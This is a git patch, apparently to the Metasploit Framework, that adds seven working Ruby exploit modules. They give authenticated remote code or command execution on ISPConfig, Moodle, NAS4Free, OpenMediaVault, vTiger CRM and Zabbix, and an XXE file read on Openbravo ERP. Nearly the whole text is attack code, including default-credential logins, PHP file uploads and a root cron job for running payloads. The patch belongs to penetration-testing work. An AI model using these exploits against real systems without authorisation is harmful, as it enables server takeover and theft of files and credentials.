From 5b7694776738d29a2bc752d29e6f3cbcc2aa93a8 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 30 Oct 2013 10:25:48 -0500 Subject: [PATCH] Add a few more modules. --- .../exploits/multi/http/ispconfig_php_exec.rb | 134 ++++++++++++ .../exploits/multi/http/moodle_cmd_exec.rb | 162 ++++++++++++++ .../exploits/multi/http/nas4free_php_exec.rb | 128 +++++++++++ modules/exploits/multi/http/openbravo_xxe.rb | 118 ++++++++++ .../multi/http/openmediavault_cmd_exec.rb | 94 ++++++++ .../exploits/multi/http/vtiger_php_exec.rb | 127 +++++++++++ .../exploits/multi/http/zabbix_script_exec.rb | 203 ++++++++++++++++++ 7 files changed, 966 insertions(+) create mode 100644 modules/exploits/multi/http/ispconfig_php_exec.rb create mode 100644 modules/exploits/multi/http/moodle_cmd_exec.rb create mode 100644 modules/exploits/multi/http/nas4free_php_exec.rb create mode 100644 modules/exploits/multi/http/openbravo_xxe.rb create mode 100644 modules/exploits/multi/http/openmediavault_cmd_exec.rb create mode 100644 modules/exploits/multi/http/vtiger_php_exec.rb create mode 100644 modules/exploits/multi/http/zabbix_script_exec.rb diff --git a/modules/exploits/multi/http/ispconfig_php_exec.rb b/modules/exploits/multi/http/ispconfig_php_exec.rb new file mode 100644 index 0000000000..a40953a240 --- /dev/null +++ b/modules/exploits/multi/http/ispconfig_php_exec.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ISPConfig Authenticated Arbitrary PHP Code Execution', + 'Description' => %q{ + ISPConfig allows an authenticated administrator to export language settings into a PHP script + which is intended to be reuploaded later to restore language settings. This feature + can be abused to run aribtrary PHP code remotely on the ISPConfig server. + + This module was tested against version 3.0.5.2. + }, + 'Author' => + [ + 'Brandon Perry ' # Discovery / msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-3629'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Payload' => + { + 'BadChars' => "&\n=+%", + }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 30 2013')) + register_options( + [ + OptString.new('TARGETURI', [ true, "Base ISPConfig directory path", '/']), + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']), + OptString.new('LANGUAGE', [ true, "The language to use to trigger the payload", 'es']) + ], self.class) + end + + def check + end + + def lng + datastore['LANGUAGE'] + end + + def exploit + + init = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/index.php') + }) + + if !init or init.code != 200 + fail_with("Error getting initial page.") + end + + sess = init.get_cookies + + post = { + 'username' => datastore["USERNAME"], + 'passwort' => datastore["PASSWORD"], + 's_mod' => 'login', + 's_pg' => 'index' + } + + print_status("Authenticating as user: " << datastore["USERNAME"]) + + login = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/content.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + if !login or login.code != 200 + fail_with("Error authenticating.") + end + + sess = login.get_cookies + fname = rand_text_alphanumeric(rand(10)+6) + '.lng' + php = "---|ISPConfig Language File|3.0.5.2|#{lng}\n" + php << "--|global|#{lng}|#{lng}.lng\n" + php << "\n" + php << "--|mail|#{lng}|#{lng}.lng\n" + php << "" + + data = Rex::MIME::Message.new + data.add_part(php, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{fname }\"") + data.add_part('1', nil, nil, 'form-data; name="overwrite"') + data.add_part('1', nil, nil, 'form-data; name="ignore_version"') + data.add_part('', nil, nil, 'form-data; name="id"') + + data_post = data.to_s + + print_status("Sending payload") + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/admin/language_import.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data_post, + 'cookie' => sess + }) + + post = { + 'lng_select' => 'es' + } + + print_status("Triggering payload...") + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/admin/language_complete.php'), + 'vars_post' => post, + 'cookie' => sess + }) + end +end diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb new file mode 100644 index 0000000000..1befde8ea5 --- /dev/null +++ b/modules/exploits/multi/http/moodle_cmd_exec.rb @@ -0,0 +1,162 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit4 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Moodle Remote Command Execution', + 'Description' => %q{ + Moodle allows an authenticated user to define spellcheck settings via the web interface. + The user can update the spellcheck mechanism to point to a system-installed aspell binary. + By updating the path for the spellchecker to an arbitrary command, an attacker can run + arbitrary commands in the context of the web application upon spellchecking requests. + + This module also allows an attacker to leverage another privilege escalation vuln. + Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey + and use this to escalate privileges to that of an admin, allowing the module to pop a shell + as a previously unprivileged authenticated user. + + This module was tested against Moodle version 2.5.2 and 2.2.3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry ' # Discovery / msf module + ], + 'References' => + [ + ['URL', 'http://www.exploit-db.com/exploits/28174/'], #xss vuln allowing sesskey of admins to be stolen + ['CVE', '2013-3630'] + ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby bash telnet python', + } + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Automatic',{}]], + 'DisclosureDate' => 'Oct 30 2013', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ true, "Password to authenticate with", '']), + OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]), + OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/']) + ], self.class) + end + + def exploit + init = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/index.php') + }) + + sess = init.get_cookies + + post = { + 'username' => datastore["USERNAME"], + 'password' => datastore["PASSWORD"] + } + + print_status("Authenticating as user: " << datastore["USERNAME"]) + + login = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/login/index.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + if !login or login.code != 303 + fail_with("Login failed") + end + + sess = login.get_cookies + + print_status("Getting session key to update spellchecker if no session key was specified") + + sesskey = '' + if datastore['SESSKEY'] == '' + tinymce = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce', + 'cookie' => sess + }) + + tinymce.body.each_line do |line| + next if line !~ /name="sesskey"/ + sesskey = line[0..line.index('>')] + end + + if sesskey == '' + fail_with("Unable to get proper session key") + end + + sesskey = REXML::Document.new sesskey + sesskey = sesskey.root.attributes["value"] + else + sesskey = datastore['SESSKEY'] + end + + post = { + 'section' => 'editorsettingstinymce', + 'sesskey' => sesskey, + 'return' => '', + 's_editor_tinymce_spellengine' => 'PSpellShell', + 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv' + } + + print_status("Updating spellchecker to use the system aspell") + + post = { + 'section' => 'systempaths', + 'sesskey' => sesskey, + 'return' => '', + 's__gdversion' => '2', + 's__pathtodu' => '/usr/bin/du', + 's__aspellpath' => payload.encoded, + 's__pathtodot' => '' + } + + aspell = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/admin/settings.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}' + + print_status("Triggering payload") + + resp = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'), + 'data' => spellcheck, + 'ctype' => 'application/json', + 'cookie' => sess + }) + + if !resp or resp.code != 200 + fail_with("Error triggering payload") + end + + end +end diff --git a/modules/exploits/multi/http/nas4free_php_exec.rb b/modules/exploits/multi/http/nas4free_php_exec.rb new file mode 100644 index 0000000000..f4831d2b45 --- /dev/null +++ b/modules/exploits/multi/http/nas4free_php_exec.rb @@ -0,0 +1,128 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'rexml/document' + +class Metasploit4 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NAS4Free Arbitrary Remote Code Execution', + 'Description' => %q{ + NAS4Free allows an authenticated user to post PHP code to a special HTTP script and have + the code executed remotely. This module was successfully tested against NAS4Free version + 9.1.0.1.804. Earlier builds are likely to be vulnerable as well. + }, + 'Author' => [ + 'Brandon Perry ' # Discovery / msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-3631'] + ], + 'Payload' => + { + 'Space' => 21244, + 'DisableNops' => true, + 'BadChars' => '' + }, + 'Targets' => + [ + [ 'Automatic Target', { } ] + ], + 'Privileged' => true, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'DisclosureDate' => 'Oct 30 2013', + 'DefaultTarget' => 0)) + + register_options([ + OptString.new('USERNAME', [ true, "Username to authenticate with", "admin"]), + OptString.new('PASSWORD', [ false, "Password to authenticate with", "nas4free"]) + ], self.class) + end + + def exploit + init = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/') + }) + + sess = init.get_cookies + + post = { + 'username' => datastore["USERNAME"], + 'password' => datastore["PASSWORD"] + } + + login = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/login.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + if !login or login.code != 302 + fail_with("Login failed") + end + + exec_resp = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/exec.php'), + 'cookie' => sess + }) + + if !exec_resp or exec_resp.code != 200 + fail_with('Error getting auth token from exec.php') + end + + authtoken = '' + #The html returned is not well formed, so I can't parse it with rexml + exec_resp.body.each_line do |line| + next if line !~ /authtoken/ + authtoken = line + end + + doc = REXML::Document.new authtoken + input = doc.root + + if !input + fail_with('Error getting auth token') + end + + token = input.attributes["value"] + + data = Rex::MIME::Message.new + data.add_part('', nil, nil, 'form-data; name="txtCommand"') + data.add_part('', nil, nil, 'form-data; name="txtRecallBuffer"') + data.add_part('', nil, nil, 'form-data; name="dlPath"') + data.add_part('', 'application/octet-stream', nil, 'form-data; name="ulfile"; filename=""') + data.add_part(payload.encoded, nil, nil, 'form-data; name="txtPHPCommand"') + #data.add_part(token, nil, nil, 'form-data; name="authtoken"') + + #I need to build the last data part by hand due to a bug in rex + data_post = data.to_s + data_post = data_post[0..data_post.length-data.bound.length-7] + + data_post << "\r\n--#{data.bound}" + data_post << "\r\nContent-Disposition: form-data; name=\"authtoken\"\r\n\r\n" + data_post << token + data_post << "\r\n--#{data.bound}--\r\n\r\n" + + resp = send_request_raw({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/exec.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data_post, + 'cookie' => sess + }) + end +end diff --git a/modules/exploits/multi/http/openbravo_xxe.rb b/modules/exploits/multi/http/openbravo_xxe.rb new file mode 100644 index 0000000000..1f8ea24444 --- /dev/null +++ b/modules/exploits/multi/http/openbravo_xxe.rb @@ -0,0 +1,118 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'net/dns' +require 'rexml/document' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Openbravo ERP XXE Arbitrary File Read', + 'Description' => %q{ + The Openbravo ERP XML API expands external entities which can be defined as + local files. This allows the user to read any files from the FS as the + user Openbravo is running as (generally not root). + + This module was tested againt Openbravo ERP version 3.0MP25 and 2.50MP6. + }, + 'Author' => + [ + 'Brandon Perry ' # Discovery / msf module + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'Oct 30 2013' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base Openbravo directory path", '/openbravo/']), + OptString.new('USERNAME', [true, "The Openbravo user", "Openbravo"]), + OptString.new('PASSWORD', [true, "The Openbravo password", "openbravo"]), + OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]), + OptString.new('ENDPOINT', [true, "The XML API REST endpoint to use", "ADUser"]) + ], self.class) + end + + def run + print_status("Requesting list of entities from endpoint, this may take a minute...") + users = send_request_raw({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + }, 60) + + if !users or users.code != 200 + fail_with("Invalid response. Check your credentials and that the server is correct.") + end + + xml = path = id = other_id = '' #for later use + doc = REXML::Document.new users.body + + doc.root.elements.each do |user| + id = user.attributes["id"] + other_id = user.attributes["identifier"] + print_status("Found #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}") + + print_status("Trying #{other_id}") + xml = %Q{ + + ]>\n" + xml << '' + xml << "<#{datastore["ENDPOINT"]} id=\"#{id}\" identifier=\"#{other_id}\">" + xml << "#{id}" + xml << '&xxe;' + xml << "" + xml << '' + + resp = send_request_raw({ + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"), + 'data' => xml, + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + }) + + if !resp or resp.code != 200 or resp.body =~ /Not updating entity/ + print_error("Problem updating #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}") + next + end + + print_status("Found writeable #{datastore["ENDPOINT"]}: #{other_id}") + + u = send_request_raw({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"), + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + }) + + u = REXML::Document.new u.body + path = store_loot('openbravo.file','text/plain/', datastore['RHOST'], u.root.elements["//comments"].first.to_s, "File from Openbravo server #{datastore['RHOST']}") + break + end + + if path != '' + print_status("Cleaning up after ourselves...") + + xml.sub!('&xxe;', '') + + send_request_raw({ + 'method' => 'PUT', + 'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"), + 'data' => xml, + 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) + }) + + print_good("File saved to: #{path}") + end + end +end diff --git a/modules/exploits/multi/http/openmediavault_cmd_exec.rb b/modules/exploits/multi/http/openmediavault_cmd_exec.rb new file mode 100644 index 0000000000..a3eda8ec16 --- /dev/null +++ b/modules/exploits/multi/http/openmediavault_cmd_exec.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'OpenMediaVault Cron Remote Command Execution', + 'Description' => %q{ + OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system. + An attacker can abuse this to run arbitrary commands as any user available on the system (including root). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry ' # Discovery / msf module + ], + 'References' => + [ + ['CVE', '2013-3632'] + ], + 'Privileged' => true, + 'DefaultOptions' => { 'WfsDelay' => 60 }, + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby bash telnet python', + } + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Automatic',{}]], + 'DisclosureDate' => 'Oct 30 2013', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault']) + ], self.class) + end + + def exploit + init = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/index.php') + }) + + sess = init.get_cookies + post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}" + + login = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/rpc.php'), + 'data' => post, + 'ctype' => 'application/json', + 'cookie' => sess + }) + + if !login or login.code != 200 + fail_with("Login failed") + end + + sess = login.get_cookies + post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"' + post << payload.encoded.gsub('"', '\"') + post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}' + + resp = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/rpc.php'), + 'data' => post, + 'ctype' => 'application/json', + 'cookie' => sess + }) + + if !resp or resp.code != 200 + fail_with("Posting cron failed.") + end + + print_status("Waiting for connect-back, this will take up to a minute") + end +end diff --git a/modules/exploits/multi/http/vtiger_php_exec.rb b/modules/exploits/multi/http/vtiger_php_exec.rb new file mode 100644 index 0000000000..511139eab7 --- /dev/null +++ b/modules/exploits/multi/http/vtiger_php_exec.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution', + 'Description' => %q{ + vTiger CRM allows an authenticated user to upload files to embed within documents. + Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP + script and execute aribtrary PHP code remotely. + + This module was tested against vTiger CRM v5.4.0 and v5.3.0. + }, + 'Author' => + [ + 'Brandon Perry ' # Discovery / msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Payload' => + { + 'BadChars' => "&\n=+%", + }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 30 2013')) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']), + OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), + OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']) + ], self.class) + end + + def check + res = nil + begin + res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') }) + rescue + print_error("Unable to access the index.php file") + return CheckCode::Unknown + end + + if res and res.code != 200 + print_error("Error accessing the index.php file") + return CheckCode::Unknown + end + + if res.body =~ /
Powered by vtiger CRM - (.*)<\/div>/i + print_status("vTiger CRM version: " + $1) + case $1 + when '5.4.0', '5.3.0' + return CheckCode::Vulnerable + else + return CheckCode::Safe + end + end + + return CheckCode::Unknown + end + + def exploit + + init = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/index.php') + }) + + sess = init.get_cookies + + post = { + 'module' => 'Users', + 'action' => 'Authenticate', + 'return_module' => 'Users', + 'return_action' => 'Login', + 'user_name' => datastore['USERNAME'], + 'user_password' => datastore['PASSWORD'] + } + + login = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/index.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + fname = rand_text_alphanumeric(rand(10)+6) + '.php3' + cookies = login.get_cookies + + php = %Q|| + data = Rex::MIME::Message.new + data.add_part(php, 'application/x-php', nil, "form-data; name=\"upload\"; filename=\"#{fname}\""); + data.add_part('files', nil, nil, 'form-data; name="dir"') + + data_post = data.to_s + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/kcfinder/browse.php?type=files&lng=en&act=upload'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data_post, + 'cookie' => cookies + }) + if res and res.code == 200 + print_status("Triggering payload...") + send_request_raw({'uri' => datastore["TARGETURI"] + "/test/upload/files/#{fname}"}, 5) + end + end +end diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb new file mode 100644 index 0000000000..767f9626c6 --- /dev/null +++ b/modules/exploits/multi/http/zabbix_script_exec.rb @@ -0,0 +1,203 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Zabbix Authenticated Remote Command Execution', + 'Description' => %q{ + ZABBIX allows an administrator to create scripts that will be run on hosts. + An authenticated attacker can create a script containing a payload, then a host + with an IP of 127.0.0.1 and run the abitrary script on the ZABBIX host. + + This module was tested againt Zabbix v2.0.9. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brandon Perry ' # Discovery / msf module + ], + 'References' => + [ + ['CVE', '2013-3628'] + ], + 'Payload' => + { + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby bash telnet python', + } + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => ARCH_CMD, + 'Targets' => [['Automatic',{}]], + 'DisclosureDate' => 'Oct 30 2013', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [ true, "Username to authenticate with", 'Admin']), + OptString.new('PASSWORD', [ true, "Password to authenticate with", 'zabbix']), + OptString.new('TARGETURI', [ true, "The URI of the Zabbix installation", '/zabbix/']) + ], self.class) + end + + def check + init = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "/index.php") + }) + + if !init or init.code != 200 + print_error("Could not connect to server") + return Exploit::CheckCode::Unknown + end + + if init.body =~ /Zabbix (2\.0\.(\d)) Copyright/ + if $1 >= "2.0.0" and $1 <= "2.0.8" + print_good("Version #{$1} is vulnerable.") + return Exploit::CheckCode::Vulnerable + end + end + return Exploit::CheckCode::Safe + end + + def exploit + c = connect + + req = c.request_cgi({ + 'method' => 'POST', + 'uri' => '/zabbix/', + 'data' => 'request=&name=' << datastore['USERNAME'] << '&password=' << datastore['PASSWORD'] << '&enter=Sign+in' + }) + + login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"])) + + if !login or login.code != 302 + fail_with("Login failed") + end + + sess = login.headers['Set-Cookie'] + + dash = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/dashboard.php'), + 'cookie' => sess + }) + + if !dash or dash.code != 200 + fail_with("Dashboard failed") + end + + sid = '' + dash.body.each_line do |line| + if line =~ /&sid=(.{16})\">/ + sid = $1 + break + end + end + + if sid == '' + fail_with("Could not get sid") + end + + script_title = rand_text_alpha(18) + post = { + 'sid' => sid, + 'form_refresh' => 3, + 'form' => 'Create+script', + 'name' => script_title, + 'type' => 0, + 'execute_on' => 1, + 'command' => payload.encoded, + 'commandipmi' => '', + 'description' => '', + 'usrgrpid' => 0, + 'groupid' => 0, + 'access' => 2, + 'save' => 'Save' + } + + resp = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/scripts.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + if !resp or resp.code != 200 + fail_with("Error creating script") + end + + script_id = '' + if resp.body =~ /scriptid=(\d{1,8})&sid=#{sid}\">#{script_title}/ + script_id = $1 + else + fail_with("Could not get the script id") + end + + host = rand_text_alpha(18) + post = { + 'sid' => sid, + 'form_refresh' => 1, + 'form' => 'Create+host', + 'host' => host, + 'visiblename' => host, + 'groups_left' => 4, + 'newgroup' => '', + 'interfaces[1][isNew]' => true, + 'interfaces[1][interfaceid]' => 1, + 'interfaces[1][type]' => 1, + 'interfaces[1][ip]' => '127.0.0.1', + 'interfaces[1][dns]' => '', + 'interfaces[1][useip]' => 1, + 'interfaces[1][port]' => 10050, + 'mainInterfaces[1]' => 1, + 'proxy_hostid' => 0, + 'status' => 0, + 'ipmi_authtype' => -1, + 'ipmi_privilege' => 2, + 'ipmi_username' => '', + 'ipmi_password' => '', + 'macros[0][macro]' => '', + 'macros[0][value]' => '', + 'inventory_mode' => -1, + 'save' => 'Save', + 'groups[4]' => 4 + } + + resp = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/hosts.php'), + 'vars_post' => post, + 'cookie' => sess + }) + + if !resp or resp.code != 200 + fail_with("Error creating new host") + end + + hostid = '' + if resp.body =~ /hosts.php\?form=update&hostid=(\d{1,12})&groupid=(\d)&sid=#{sid}\">#{host}/ + hostid = $1 + else + fail_with("Could not get the host id") + end + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "/scripts_exec.php?execute=1&hostid=#{hostid}&scriptid=#{script_id}&sid=#{sid}"), + 'cookie' => sess + }) + end +end